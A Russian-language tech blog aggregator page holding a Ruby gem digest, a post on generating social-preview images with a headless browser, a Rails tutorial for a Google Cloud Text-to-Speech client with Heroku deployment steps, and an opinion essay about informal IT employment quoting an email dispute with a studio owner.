Chartkick 3.4.0 создание диаграмм на основе разных js-библиотек.
Aasm 5.1.0 библиотека для реализации автомата состояний.
Rotp 6.1.0 библиотека для одноразовых паролей.
ValueSemantics 3.4.0 создание классов-оберток для данных с валидацией и приведением.
Test Kitchen 2.6.0 инструментарий для тестирования и разработки кода инфраструктуры.
Kitchen::Vagrant 1.7.0 Kitchen-драйвер для Vagrant.
Ancestry 3.1.0 организация древовидной структуры (иерархии) на основе ActiveRecord.
Ruby-kafka 1.2.0 библиотека для работы с Apache Kafka.
PgHero панель производительности для Postgres.
Aerospike Ruby Client 2.14.0 официальный клиент для NoSQL СУБД Aerospike.
DynamoDb Framework 1.9.0 легковесный фреймворк для NoSQL СУБД DynamoDB.
Elastic APM agent 3.9.0 официальный гем для работы с Elastic APM.
Activerecord-multi-tenant 1.1.0 интеграция ActiveRecord c мультитенантными базами данных.
Diffy 3.4.0 сравнение и получение разницы двух текстовых источников.
Refinements 7.7.0 коллекция улучшений для основных типов Ruby.
FriendlyId 5.4.0 модификация url-адресов к более читабельной форме.
License Finder 6.8.0 поиск и анализ лицензий в зависимостях.
Image_size 2.1.0 получение размера изображений разных форматов.
AvroTurf 1.2.0 сериализация/десериализация для формата Apache Avro.
Marginalia 1.9.0 добавление комментариев к ActiveRecord-запросам.
Rubrowser (Ruby Browser) 2.9.0 визуализатор графа зависимостей.
Premailer 1.13.0 предварительная обработка HTML-содержимого электронных писем.
SendGrid ActionMailer 3.1.0 интеграция ActionMailer с SendGrid API.
Clearance 2.3.0 Rails-аутентификация через почту и пароль.
Clogger 2.3.0 настраиваемое логирование запросов на Rack.
Dotiw 5.1.0 временной период в словесном виде.
Semaphore_test_boosters 2.6.0 распараллеливание тестов.
Svgeez 3.2.0 автогенерация SVG-спрайта из папки с SVG-иконками.
JWT Signed Request подпись и верификация запросов к внутреннему API с помощью JWT.
Angular_rails_csrf 4.4.0 CSRF-защита для Rails на AngularJS.
Quilt_rails 3.3.0 привязка Quilt для Rails.
Hammer 2.2.0 CLI-инструментарий на основе Clamp, используемый в Foreman и не только.
Plivo Ruby SDK 4.9.0 библиотека для интеграции с Plivo REST API.
Onfido 1.1.0 официальный клиент для Onfido API.
Solidus Reviews 1.4.0 официальная библиотека для eCommerce платформы Solidus.
Google-cloud-spanner 2.1.0 библиотека для облачной СУБД Google Cloud Spanner.
LaunchDarkly API Client 3.4.0 официальная библиотека для LaunchDarkly .
Edsapi 1.1.0 клиент для API исследовательского сервиса Ebsco.
Wavefront CLI 7.2.0 интерфейс командной строки для Wavefront API.
Neverbounce-api 1.2.0 официальная библиотека для проверки электронной почты
с помощью сервиса NeverBounce.

Поизучать


imageЗлые марсиане: путь от двух человек в кафе до офисов в Нью-Йорке, Сан-Франциско,
Москве и Осаке
.
imageСложности работы с ANTLR: пишем грамматику Ruby.
imageМиграции данных в Ruby On Rails.
imageКак работают профайлеры в Ruby и Python?
imageЧто нового в GitLab 13.2.
imageНеофициальный гайд по Active Admin.
Изучите Ruby on Rails до опасного уровня обзор книги Майкла Хартла Ruby on Rails Tutorial.
Интервью с Майклом Хартлом, создателем Ruby on Rails Tutorial и основателем Learn Enough.
Как настроить GraphQL API в Ruby on Rails. Подробное руководство.
4 лучших ресурса для изучения Ruby on Rails прямо на работе.
Введение в паттерны и анти-паттерны для Ruby on Rails.
Запись звонков с помощью Vonage Voice API для веб-сокетов на Ruby.
12 способов вызвать метод в Ruby.
Статические типы в Ruby 3. RBS или RBI? И что делать с Sorbet?
Работа с AWS SDK для Ruby Часть I.
Как повысить производительность запросов ActiveRecord с помощью кэширования подзапросов.
Наглядное руководство по Webpacker.
Автозаполнение в Ruby on Rails с использованием Stimulus.
Веб-сокеты с Rails 6 и ReactJS.
Как расширить Ruby с помощью C++.
Как использовать бенчмаркинг в Ruby.
Испытываем OpenTelemetry Часть 1: Sinatra.
Простое руководство по GraphQL API на Ruby on Rails и MongoDB с Docker Часть 1.
Простое руководство по GraphQL API на Ruby on Rails и MongoDB с Docker Часть 2.
Как в Product Hunt тестируют GraphQL-бэкэнд.
Как сделать API с помощью Ruby On Rails.
API на Ruby on Rails с вложенными ресурсами.
RSpec часть 1: начало работы.
Как тестировать код, который зависит от внешних API.
RSpec часть 2: hooks, subjects, общие примеры.
RSpec часть 3: тестовые двойники.
Full Stack Serverless с Rails и AWS SAM/Lambda.
Изучение Ruby: первые впечатления от разработчика JavaScript.
Изучение Ruby: соглашения об именах.
Изучение Ruby: конкатенация строк.
Изучение Ruby: проверка на равенство.
Введение в Ruby Gems.
Работа с WebSockets в Ruby, Rack и Faye.
Реализация автомата состояний в виде сервиса с помощью aasm.
Решето простых чисел в идеоматическом Ruby (и некоторые книги, которые вы должны прочесть).
Часы тоже моноиды!
Табличное и другие виды расширенного форматирования в Action Text.
Как правильно делать sql-запросы к полям с типом массив?
Когда объекты становятся суперобъектами.
Ruby on AWS Lambda: интеграция с ActiveStorage.
Ускоряем rubocop в 20 раз за 5 минут.
Перенос has_many_attached в другую модель.
Создание нежурналируемых (PostgreSQL) таблиц в Rails.
Создание настольного приложения с графическим интерфейсом на Ruby.
Клиенты, серверы и принцип Единственной ответственности.
Веб-скрапинг на Ruby, отличная практика для начинающих веб-разработчиков.
Зачем использовать Puma в продакшене для вашего Rails-приложения.
Как использовать GraphiQL в Rails.
2 способа проверить сообщения в Rails-логах с помощью RSpec.

Предыдущий Ruby Digest.
Подробнее..
Категории: Ruby , Ruby on rails , Digest , Ruby digest

Генерация картинок в коде

08.04.2021 02:10:23 | Автор: admin

Всем привет! В этой статье я расскажу как разрабатывали решение по автоматизации генерации картинок из шаблона. Сначала будет обоснование кейса и затем техническая часть решения.

Обоснование кейса

Не секрет что соцсети являются огромной площадкой для поиска аудитории что бы позитивно выделить свой материал в ленте сделать его узнаваемым и вызывающим желание кликнуть. нужно правильно оформить на странице The Open Graph тэги.

пример с установленными og и без нихпример с установленными og и без них

страница без og тегов выглядит довольно куцо в соцсети или мессенджере, просто строчка с текстом и всю информацию о том что внутри вы узнаете только перейдя по ней. Настроив og теги вы сразу же можете презентовать свой сайт. и сделать его узнаваемым и выделяющимся ещё до того как пользователь зайдёт к вам. Важной частью этой узнаваемости конечно является изображение. Хорошо если у вас лендинг и вам достаточно одной картинки на весь сайт. Но если у вас ресурс с огромным количеством контента то нужно как то разнообразить эти изображения и сделать уникальными, вооружившись пэинтом фотошопом можно без проблем сделать такую картинку, но процесс этот довольно рутинный и скучный и всё таки требует времени, но его можно автоматизировать. В этом месте и появляется задача генерировать такие изображения автоматически. Работая в charmer мы делаем проекты на высоком визуальном уровне и изображения для расшаривания в соцсетях и мессенджерах являются важной частью. Давайте перейдём к описанию решения.

Техническая часть

Все кто пытался редактировать изображения в коде, скорее всего сталкивался с imageMagick решение уже зарекомендовавшее себя, есть обертки под все популярные языки, до сих не теряет актуальности поддерживается и развивается. Позволяет делать магию с картинками, закрывает практически все потребности в обработке картинок. Что же не так с ImageMagick? Он невероятно сложен в использовании. Если нужно сделать относительно сложный визуал

Например как тут

то в imageMagick будет довольно тяжело всё это выстроить. Учитывая то что изображение для фона, не всегда подходят по размеру и пропорциям под итоговый вариант. И наложенный текст может быть любой длинны. Так же в тексте могут быть важные типографические контролы, например неразрывный пробел.

В общем достаточно сложно сделать какой то шаблон для изображений который будет собираться в imageMagick. Но существует уже отличное готовое и всем известное решение для верстки по шаблону это - HTML.

Как можно применять HTML и Headless browser можно увидеть на схеме ниже.

Принципиальная схемаПринципиальная схема

Первым делом создается знакомый всем rails разработчикам ERB template. По нему генерируется html файл и запускается headless browser, исполнение bash команд в руби реализовано в Kernel. Дальше браузер сохраняет скриншот в файл и готово. Мы получили результирующую картинку.

Производительность

Запуск внешнего приложения в коде звучит как задача которую нужно явно запускать в фоновом режиме. Для этой цели отлично подходит sidekiq. Возможно у вас chrome тоже вызывает устойчивую ассоциацию с избыточным потреблением памяти, но как показали тесты, в headless режиме память расходуется в щадящем режиме.

На видео видно потребление ресурсов при работе приложения. Заметно как резко подскочило цпу, но это настраивается уже через sidekiq на видео в нем паралельно запускаются несколько воркеров, код для генерации картинок потокобезопасный. Если настроить на один поток то потребление ресурсов будет гораздо скромнее. За 20 секунд сгенерировалось и сохранилось 50 изображений, что достаточно быстро для такой задачи.

Итоги

Конечной целью было создание инструмента который позволит решать описанную задачу быстро и надежно. При написании кода упор был сделан на минимальное конфигурирование, потокобезопасность и простоту в использовании. Исходники доступны на гитахбе и сам гем на rubygems. Если для кого то этот гем будет полезным и найдутся идеи и желание как то улучшить\исправить с радостью приму PR или комментарии) Всем спасибо, кто дочитал до конца!

Подробнее..

Веб-клиент Google Cloud Text to Speech за завтраком в бастионе Сен-Жерве

13.04.2021 04:20:54 | Автор: admin

С самых юных лет, с самого первого прочтения залпом "Трех мушкетеров" автор неколебимо убежден, что оптимальный способ обучения чему-либо - практика. Теорию в дальнейшем можно подучить и подточить, друзья-мушкетеры "покажут несколько славных приемов", не проблема. Но, если верить досточтимому мэтру Дюма (а автор ему верит), оптимальный способ интеграции в любую новую для себя сущность - сходу погрузиться в нее с головой, а там как пойдет. Где наша не пропадала, да и, как известно, любой гасконец с детства академик.

Вообще, если интерес возникнет, то это всегда 90% успеха, поверьте... ну, а если не возникнет, что ж. Сэкономите время: стало быть, не ваше. Сейчас, таким образом, самонадеянный и скорый на подъем аффтор, всегда готовый выхватить шпагу при виде гнусного тролля на любом интернет-форуме - предлагает всем dbutants потратить всего лишь полчаса-час на то, чтобы заинтересоваться сразу несколькими технологиями, в числе которых язык программирования Ruby, API Google Cloud Text to Speech, облачная PaaS-платформа Heroku и git.

К слову. Предвидя сделанные на языке растреклятых англичан, исконных врагов любого истинного француза комментарии в стиле "Is ruby dead?", в том смысле, а есть ли смысл вообще этим заниматься... автор предлагает всем любителям потрепаться-ни-о-чем-в-инете временно оставить эту животрепещущую тематику, сменив ее на рекомендации по изготовлению чудодейственного бальзама, наподобие того, что дала в путь-дорогу д`Артаньяну любящая его матушка, и который помог бы, в духе дня, раз и навсегда избавиться от спама за подписью того или иного эйчара, русскоговорящего или европейца/американца, несколько раз в неделю присылающих абсолютно ненужные автору инвайты на позицию Ruby Developer. Ненужные не потому, что автор, вволю напрактиковавшись и слегка "подточив" теорию, привык получать приглашения исключительно и самолично из рук аж самого CTO Armand-Jean du Plessis, duc de Richelieu... а потому, что за все годы работы - ни одного проекта, ни одной должности от HR он не получил, так уж сложилось.

Чего и вам от души желает. Если какой-либо институт и мертв, то это почти наверняка Human Resource, по крайней мере, у нас в России (как с этим обстоят дела у Бекингема - Бог весть, не знаю). Все остальное покамест работает... это была, так сказать, литературная прелюдия, ну а теперь сходу к практике, с места в карьер. "Сударь, вы ошиблись! Нас не трое, нас четверо!"

Итак. Цель сегодняшних наших упражнений - построение приложения, работающего с API Google Cloud Text to Speech, иными словами - конвертера текста в звук, и с очень неплохим качеством. Правда, все чаще раздаются голоса, дескать, IBM Text-to-Speech API круче, но это мы оставим, с вашего позволения, для следующей статьи... "голоса" обычно не скрывают, что IBM API обходится недешево, гугловский же сервис возможно использовать практически бесплатно (находим и внимательно читаем Terms of Service). Но вам понадобится волшебный ключ, нечто в стиле "то, что сделал предъявитель сего, сделано по моему приказанию и для блага государства" в формате JSON, для получения которого, вполне возможно, придется засветить ваш MasterCard здесь. Может быть, даже заморозят на недельку кровный ваш $1, ничего? - ну всяко это не так страшно, как в военное де-факто время совершать вояж за линию фронта, будучи вдохновленным одним лишь лукавым взглядом г-жи Бонасье, согласитесь.

Также зарегистрируйте Free account Heroku, куда мы с вами намереваемся пушить ваше первое приложение на основе фреймворка Ruby on Rails, скачайте и установите git и Heroku toolbelt для своей OS.

Немного о структуре приложения. Как уже сказано выше, это rails-app, полноценный веб-интерфейс для API Google Cloud Text to Speech: аутентификация реализована посредством device (полистайте доку, там немало интересного на случай, если захотите что-то изменить в предлагаемом техническом решении), сконфигурированного таким образом, что возможен лишь один пользователь. Что нам и нужно: сразу после деплоя приложения на Heroku вы зарегистрируетесь в нем, подтвердив указанный вами email, и дальнейшие регистрации будут невозможны (изменить или сбросить пароль вы, при необходимости, сможете).

Интерфейс выполнен в духе минимализма, под которым автор понимает Bootstrap 4 и кое-какие джаваскрипты; информационные flash-сообщения панели управления - средствами ajax, благо он как никто родной для Ruby on Rails. Заказчик-киевлянин, для которого был выполнен этот rails-app, он же старый мой приятель, скупой как кардинал Мазарини - очень просил "без излишеств, можно вообще без стилей", ну и вот... впрочем, помимо ожидания, получилось вполне элегантно. Представленный далее короткий ролик не самый новый, с момента его создания приложение было рефакторено и получило новые свойства, но какое-то визуальное представление способен дать.

Да, и "о фичах". На момент публикации этого материала Google-Cloud-TTS-Rails способен работать с текстом (также поддерживается SSML) на любом из 18 языков, конвертируя в один из следующих, по желанию, форматов: MP3 (MPEG Audio Layer III), WAV (LINEAR16) and OGG (OGG_OPUS), поддерживаются оба доступных voice type: WaveNet и Basic. Также интерфейс приложения позволяет корректировать скорость произношения...

...с чего, пожалуй, и начнем этот краткий экскурс в программный код. Меню регулировки скорости реализовано как хелпер, посредством которого получаем в HTML выпадающее меню (drop-down list), диапазон значений от 0.25 до 4.0 (обусловлено API), шаг 0.25, значение по-дефолту 1.0. Привыкайте, это рельсы:

module SoundHelper  def speaking_rate    select_tag 'speaking_rate', options_for_select(      0.25.step(by: 0.25, to: 4.0), selected: '1.0'    ), { class: 'btn' }  endend

Да, к слову. Те, кто не хотят вникать в код, возможно, им это сто лет не нужно... имеют возможность пропустить вышесказанное/поименованное мимо, соответственно, ушей и глаз, равно как и еще парочку фрагментов кода, воспоследующих далее. Имеете полное право, почему нет. Я сейчас сделаю краткую паузу на то, чтобы in two words рассказать, как залить из гитхаба на Heroku полностью готовое к работе приложение, вам понадобятся на вашем рабочем компе лишь Heroku CLI и git, как уже и говорил. Ruby и postgreSQL в этом случае без надобности.

Клонируйте приложение с гитхаба и по окончании перейдите во вновь созданный каталог, набрав в консоли:

git clone https://github.com/cmirnow/Google-Cloud-TTS-Rails.gitcd Google-Cloud-TTS-Rails

Бросьте файл, содержащий ваш персональный ключ YOUR_KEY_NAME.json, в корень директории приложения (название значения не имеет). Далее:

git add .   git commit -m "my first commit"heroku creategit push heroku masterheroku run rake db:migrate

Откройте панель администрирования Heroku, YOUR_NEW_APPLICATION -> 'Settings' -> 'Reveal Config Vars', и введите следующие пары key/value:


key: GOOGLE_APPLICATION_CREDENTIALS value: YOUR_KEY_NAME.json

key: DOMAIN_NAME value: YOUR_HEROKU_DOMAIN ### i.e 'https://***************.herokuapp.com' without quotes.

key: GMAIL_USER_NAME value: YOUR_GMAIL_LOGIN

key: GMAIL_PASSWORD value: YOUR_GMAIL_PASSWORD ### (An App Password is a 16-digit passcode that gives an app or device restricted access to your Google Account without having to divulge your personal password and complete access to your Google Account).


Как видите, потребуется указать доступ к почтовому серверу, чтобы Google-Cloud-TTS-Rails смог отослать вам письмо в ходе регистрации аккаунта, также на случай необходимости сброса забытого пароля. И - на этом все, после регистрации приложение полностью готово к работе. Лимит текста "за один раз" - 5000 знаков, обусловлено Google. Надеюсь, вам понравится.

Мне же осталось показать всего только очень несложную логику работы приложения. Сейчас не буду подробно останавливаться на rails-валидациях, скажу лишь, что по дефолту проверяется только количество введенных знаков, и вы сможете добавить или исключить, при желании, самые разнообразные проверки:

class Validationinclude ActiveModel::Modelattr_accessor :requestvalidates :request, presence: true, length: {in:3..4999}end

Контроллер, как ему и предназначено судьбой, служит связующим звеном между интерфейсом пользователя и собсно сервисом, вызывая метод класса TtsConversion со следующими параметрами:

  def conversion    audio_format = TtsConversion.index(client, synthesis_input, voice, audio, params[:codec])    success_info(audio_format)  end  def client    Google::Cloud::TextToSpeech.text_to_speech  end  def synthesis_input    { params[:text_or_ssml] => params[:request] }  end  def voice    { language_code: params[:lang], name: params[:voicename] }  end  def audio    { audio_encoding: params[:codec], speaking_rate: params[:speaking_rate].to_f }  end
class TtsConversion  def self.index(*args)    response = args[0].synthesize_speech input: args[1], voice: args[2], audio_config: args[3]    File.open 'public/output/output.' + audio_format(args[4]).to_s, 'wb' do |file|      file.write response.audio_content      audio_format(args[4]).to_s    end  end  def self.audio_format(codec)  case codec  when "LINEAR16"  'wav'    when "OGG_OPUS"      'ogg'  else  'mp3'  end  endend

Всю работу свершает, по сути, gem 'google-cloud-text_to_speech', передавая конвертируемый текст и выбранные параметры в API Google Cloud Text to Speech и получая обратно звук в цифре. Вот, пожалуй, и все.

Подробнее..

Каперство в IT. В подражание Киплингу

04.05.2021 02:20:16 | Автор: admin

Статья имеет своей целью не только и не столько попытку анализа крайне субъективной сущности термина Team leader, лидер команды, проведя некую полушутливую аналогию с капитаном боевого корабля в условиях морского сражения (почему бы и нет, кстати..?), но и в очередной раз заострить внимание профессиональной аудитории на невероятно убогом (целиком принимая на себя ответственность за использование данного термина) состоянии рынка труда в IT в двух отдельно взятых странах - России и Украины. Белоруссию обойду молчанием, ситуация там иная, как мне кажется... но, что касается первых двух - автор склонен сейчас сделать крайне непопулярное, вероятно, заявление, сказав, что мы действительно один народ. Во всяком случае - когда разговор заходит о соблюдении законов и, в частности, законов о труде.

В качестве кратенького лирического отступления перескажу содержание своего диалога с неким американцем, носителем языка на English Courses, которые некогда посещал. Угораздило меня попросить почтенного препода прокомментировать суть gray salary, дескать, имеет ли подобное место быть в твоей Америке, нет? - он сперва меня попросту не понял, готов предположить, виной тому был уровень моего английского, образчика "лэт ми спик фром май хард"; а, когда наконец дошло (ну, "они тупые", как не один десяток лет восторженно декларировал с эстрадных подмостков некий наш "актер") - бесхитростно расхохотался мне в лицо.

Ох уж эти всегда непосредственные и непредсказуемые янки, все-то в мире беды от них. Коль скоро в политическом тренде в России сейчас Редьярд Киплинг, позволю себе процитировать его строчки, посвященные одному из (не по рождению) американцев, очень недурно, кстати, отличившемуся, воюяя с турками на российской стороне в чине контр-адмирала:

В нём проказа внутри, хоть снаружи он бел, и может учуять любой

Запах мускуса, что владелец рабов всегда несёт за собой.

Забегая вперед, к рабам мы еще вернемся... а вот ответ, интонацию которого я попытаюсь при переводе адаптировать на российский лад так, как ее услышал, прозвучал примерно следующим: "Дорогой мой... да, в национальных диаспорах, кое-где у нас порой, Куба, мать ее, месканы/арабы, что скрывать... но - это исключение, подтверждающее жесткое правило: в Америке нет серых зарплат, it's impossible".

Далее перехожу к эпизоду, о котором хочу рассказать. Упоминания о сталинградской битве в моем тексте, ровно так же, как и у Киплинга, не будет иметь места быть; увы, это единственное, что ставит нас на одну доску по части литературного таланта, поэтому я по большей части процитирую, без купюр и as it is, электронную переписку, сохраненную в моем архиве как воспоминание об испытательном сроке на позицию Ruby Developer украинской компании Kodo Labs, Одесса (поставил в известность своего корреспондента о намерении публикации). Предваряя разгневанные комментарии в духе неприемлемости и безграмотности подобного рода параллелей/экстраполяций на "весь рынок труда", начну со следующего утверждения: в отличие от Америки, второй родины безжалостного капера, работорговца и кавалера ордена Св. Анны, потемкинского контр-адмирала Джон Пол Джонса, у нас подобное является именно правилом, а не исключением. Go ahead, my friends.

Непонимание и разногласия возникли у нас практически сразу:

29.04.2021 17:23, Alexey пишет:

Привет. Юрий, не так. Взаимопонимание возможно при одном условии, необходимом и, вероятно, достаточном: обе стороны признают существование неких констант, трактовка которых, с обеих же сторон, одинакова. Недаром любой договор начинается с определения терминологии. Любые, как ты их называешь, "условные понятия" - в любой договоренности суть попытка манипуляции, что заведомо не способствует взаимному доверию.

В качестве такой константы / точки отсчета я всегда предлагаю принять правовое поле, что диктуется не только проявлением уважения к законам страны, в которой живешь и работаешь, но и, не в последнюю очередь, самоуважением. Ты же мне говоришь, что договоров у тебя нет, но, тем не менее, ты хочешь контролировать рабочее время тех, кто де-факто и де-юре работает на твоем предприятии. Причем речь именно о контроле, что ты и сам признаешь, цитирую: "И дело вовсе не, или не только, в контроле..."

Ты это всерьез, про гречку? - забей, не аргумент. Попытка провести аналогию между учетом рабочего времени и килограммами продаваемого товара я даже комментировать не буду, несерьезно. И крайне странно слышать подобную сентенцию от руководителя компании.

Предлагаю следующее. В основу сотрудничества ставим не "условные понятия", которые оставляют возможность многозначных трактовок и, как следствие, злоупотреблений (с обеих сторон), а четкое понимание правовой основы, это стандартная позиция нормального человека в нормальном цивилизованном мире (я, разумеется, не ************ имею в виду): договор у нас с тобой не трудовой, а партнерский, у нас это называется ГПО (гражданско-правовые отношения), и в Украине есть аналог. Такого рода договор (хотя бы и изустный, не имеет значения) предопределяет равноправие обеих сторон, что исключает тот самый контроль, к которому ты так стремишься.

Разумеется, я готов, как это и принято в большей половине украинских компаний, вручную указывать затраченное время. Это некритично; значение имеет именно взаимопонимание, о котором ты сам сказал. Аналогия человеко-часов с килограммами (или попытка представить 15 лет работы компании, перипетии которой мне неведомы, в качестве "гарантии") суть правовой и логический абсурд, тебе то же самое скажет любой юрист, и строить работу на таком шатком фундаменте я не стану: "опыт, сын ошибок трудных".

Поясню. Стойкое неприятие вызвала (как и всегда в аналогичных случаях, имя которым, повторюсь, легион на просторах вставшей с колен державы) следующая сентенция тимлида / фаундера Kodo Labs, от которого я получил предложение принять участие в проекте, цитата: "У нас в компании минимум бюрократии. У нас нет НДА или договоров, потому что все это не дороже бумаги, на которой они написаны."

Как замечательно, а. Скажите, только у меня подобный подход - "в законе одно, в бухгалтерии другое, на деле третье" - вызывает ощущение, как бы это поаккуратнее описать в приемлемых для печати фразах, эдак литературненько... некоей занудной и мучительной, как зубная боль или, лучше сказать, вялотекущая шизофрения... "состояния нестояния"? Надеюсь, Читатель, приняв во внимание, что Автор Вот В Этом живет, с матерком просыпается и с ним же засыпает, в навязчивой, вонючей как дерьмо, субстанции хронического вранья, шизоидной этой российской раздвоенности, которой за свою нелегкую трудовую жизнь нахлебался вдосталь... простит ему некоторую эмоциональность литературного стиля. Который, зато, не подразумевает ни малейшей двусмысленности, эвфемизмов и экивоков, чем не круто.

Поясню еще, и двинемся далее. Утверждаю: любой работодатель, на которого ты, уважаемый мой коллега-программист-айтишник, работаешь без трудового договора либо же работаешь "как ИП" - де-юре и де-факто работодателем не является, что бы там тебе не щебетали по этому поводу прелестные девочки-эйчары; невзирая на любые прелести, все это суть нонсенс и грубейшее нарушение трудового законодательства (на хабре несколько лет назад была опубликована весьма примечательная статья о "схемах Ходорковского" и прочих в тему вещах, велкам к прочтению те, для кого сказанное - неожиданность). Как правило, речь здесь может идти о ГПО, договоре (письменном, устном) гражданско-правового характера, который априори не является договором трудовым, заведомо предопределяя равноправие сторон. С этих позиций, на которых величественно и невозмутимо, как истуканы острова Пасхи, покоится КЗОТ (и не только российский), претензия твоего заказчика (ни в коем случае не работодателя) отслеживать твои действия за компом либо пусть даже всего только контролировать время, затраченное на работу - объяснимо лишь степенью его наглости, помноженной на элементарную твою правовую безграмотность. Устанавливая Toggl на рабочий свой ПК, или же иной тайм-трекер, ну или попросту покорно выслушивая от своего горе-эмплойера нотицию о перманентных твоих нарушениях трудовой дисциплины - помни об этом.

Сказанное относится также и к Украине. Напомню: работа как ФОП (фзична особа пдпримець) не есть трудоустройство, за подробностями, пожалуйста - к юристам, специализирующимся на трудовом праве. Здесь же - короткой строкой: априори нет и быть не может ни "испытательного срока", ни "рабочего времени" в отсутствие трудового договора, в полном соответствии с КЗоТ Украины. А если договор имеет место, то, согласно ч. 11 ст. 60 КЗоТ "при дистанционной (надомной) работе сотрудники распределяют свое рабочее время по собственному усмотрению, на них не распространяются правила внутреннего трудового распорядка, если другое не предусмотрено условиями трудового договора; при этом общая продолжительность рабочего времени не должна превышать нормы, установленных статьями 50 и 51 КЗОТ Украины."

Ось так, хлопц. Вс, хто мають ншу думку, можуть йти на Хутр ловити рдксн породи метеликв.

ОК, идем дальше, дабы попробовать проанализировать, к какому финалу вполне закономерно приводит сентенция "у нас нет НДА или договоров, потому что все это не дороже бумаги, на которой они написаны", возведенная в ранг логики работы предприятия. Получаю пару тасков в работу, клонирую с гитхаба rails-app, анализирую код и запускаю у себя. Формулирую решение технической задачи, решение, однозначно не противоречащее ни одному пункту описанных условий и безусловно работоспособное, и даже, я бы использовал именно эту терминологию - ортодоксальное, классическое решение. И вдруг... я с удивлением и очень не сразу начинаю осознавать, что уровень технических познаний моего заказчика, фаундера и тимлида в одном лице - как бы это поаккуратнее сформулировать, в определенных ситуациях оставляет желать несколько лучшего...

01.05.2021 20:13, Yura Omelchuk пишет:

Начну с того, что сам вопрос поставлен не вполне корректно

Devise invitable отвечает за приглашения пользователей в систему, не более того. Можно его использовать или обойтись без него, тут надо смотреть внимательно на его функциональность и что нам даст его использование. И кстати, надо учесть, что регистрация в системе должна быть свободной, а не только по приглашению.

Вопрос управления доступом к документу решается отдельно и независимо от приглашений. Здесь нужна структура данных, отвечающая за хранение прав доступа. Для авторизации доступа, если говорить про библиотеки, мы применяем pundit а не cancan/cancancan.

Отправлено с iPhone

Здесь снова необходима ремарка автора. Которому, признаться, никогда ранее не приходило в голову, что кто-либо способен расценить использование крайне популярного, "звездного" scambra/devise_invitable как попытку "управления доступом к документу", или что включение данного функционала отменяет основную функцию devise, заключающуюся в регистрации пользователей: "Devise is a flexible authentication solution for Rails based on Warden". Помимо прочего, мою досадную неудачу чтения мыслей на расстоянии ("мы применяем pundit, а не cancancan") постеснялись бы назвать "невполнекорректностью" даже на печально известном imho-форуме, с их вечно живым, как дело Ленина, мемом-слоганом "экстрасенсов здесь нет".

02.05.2021 01:48, Alexey пишет:

Как скажешь. Но pundit нет даже в твоем джемфайле. Предложил бы описать инструментарий, посредством которого считаешь правильным имплементацию моих двух тасков, я-то ведь не умею мысли читать. Тогда постановка задачи будет законченной, на мой взгляд. Пойми правильно, способов реализовать требуемое немало. Любой на выбор.

Продолжаю догадываться: в модель документа добавляем еще один столбец, куда станем записывать юзеров/мыло, которым автор дока предоставил доступ. Соответственно, на указанной тобой новой (фейковой) вьюхе дока - будет отображаться филд, содержащий уже введенные emails, с возможностью этот список редактировать. Посредством которого любым из десятков возможных способов будет предоставляться доступ уже существующим юзерам, несуществующим - отправляем приглашения (можно новый мэйлер сделать, но по уму предложил бы попробовать devise_invitable).

Как вариант. Что скажешь про такой сценарий?

02.05.2021 05:53, Yura Omelchuk пишет:

Мы для того и обсуждаем план, чтобы синхронизировать подходы. Что касается атрибута документа, куда записывается список адресов пользователей - это не гибко, нужна отдельная сущность.

Отправлено с iPhone

02.05.2021 13:00, Alexey пишет:

По-прежнему не понимаю, чем обусловлен выбор pundit в данном случае. Пусть он хоть 10 раз гибок, суть его подхода - политики и роли, что уже не вписывается в логику задачи. Разумеется, можно и на вордпрессе интернет-лабаз сделать, да и от руки доступ накатать, без pundit / cancan и ещё десятков аналогов, с граф. интерфейсом или без - не проблема. Это такой корпоративный стандарт на все случаи жизни, pundit, либо есть иная аргументация?

02.05.2021 13:18, Alexey пишет:

Смотри, что у нас получается. Я не располагаю ни ТЗ, ни полноценным описанием задачи, т. к. таски не содержат описания требуемого инструментария - следовательно, не могу говорить об адекватности предлагаемых мной решений. Я лишь могу утверждать, что предложенные мной решения являются 100 рабочими, но судить о степени их масштабируемости априори невозможно, не располагая деталями проекта. Обсуждение превращается в аналог детской игры холодно-горячо, ты готов платить за подобное времяпрепровождение? - даже если так, это малоинтересно для меня. Предлагаю изменить подход к делу на более технически корректный.

02.05.2021 13:25, Yura Omelchuk пишет:

Окей, думаю на этом можно остановиться. Не вижу смысла продолжать если такая простейшая задача вызывает столько полемики, что же будет на более сложных? Всего хорошего. Удачи.

Отправлено с iPhone

Комментарии по большей части излишни. Кроме, разве что, следующей констатации: как видите, господа-товарищи, "работа" на том или ином коммерческом предприятии, руководитель которого исповедует принцип "у нас нет НДА или договоров, потому что все это не дороже бумаги, на которой они написаны"... не добавляет высокого литературного штиля автору этого рассказа, разумеется, но при случае приравняет профессиональную ценность любого из вас, дорогие мои друзья и коллеги - к стоимости черного живого товара контр-адмирала флота российского Павла Джонеса, которым тот весьма неплохо зарабатывал на жизнь в бурной своей молодости. "Тимлид", владелец и руководитель одесской веб-студии Kodo Labs Юра Омельчук попрощался настолько эффектно, что даже забыл предложить оплатить время, потраченное на работу анализ, запуск и тестирование своего кода; я уж молчу про то, что ни на один из заданных ему технических вопросов он не попытался ответить, ни одного аргумента в пользу своего мнения не привел. А это уже ничем не прикрытый моветон: по окончании любого профессионального тестирования принято озвучивать правильные ответы, приходилось ведь и мне когда-то поступать таким образом. Справедливости ради добавлю, на этот знаковый момент "ты уволен, и ты мне ничего не должен, бывай здоров" я обратил внимание своего незадачливого корреспондента, добавив на прощанье "плати, если хочешь", и подразумевая тем самым, что не стал бы настаивать на оплате, выиграв в карты у местных на одесском Привозе; правила игры, знаете ли, предопределяют, да не деньги и были. Результат предсказуем: "не хочу и не плачу", и вот на сей раз, не в пример прозвучавшему ранее, все действительно логично.

Вот интересно, кстати сказать. Как думаете, что сказал бы родом из Шотландии американский капер, если бы удостоившая его высочайшей аудиенции Екатерина II предложила, вкупе с контр-адмиральским патентом, аналог "оплаты на ИП"? - или, еще того лучше, "давайте без налогов, мой очаровательный капитан, зачем вмешивать государство в наши отношения? - оставьте нас, мсье Зубов, nous vous parlerons plus tard..." (почти что такую формулировку мне доводилось слышать, и неоднократно, от российских работодателей)? Может статься, и проканало б, а?- капер, он и есть капер, какая похер дым ему разница.

Из мачты не станет он делать гик, из рубки строить вельбот,

Фок-мачту взял и рубку украл янки, дьявольский род!

Я драться не мог: надвигалась тьма, и океан бушевал,

Я дал по нем выстрел - за грубый увод, и второй - за то, что он лгал...

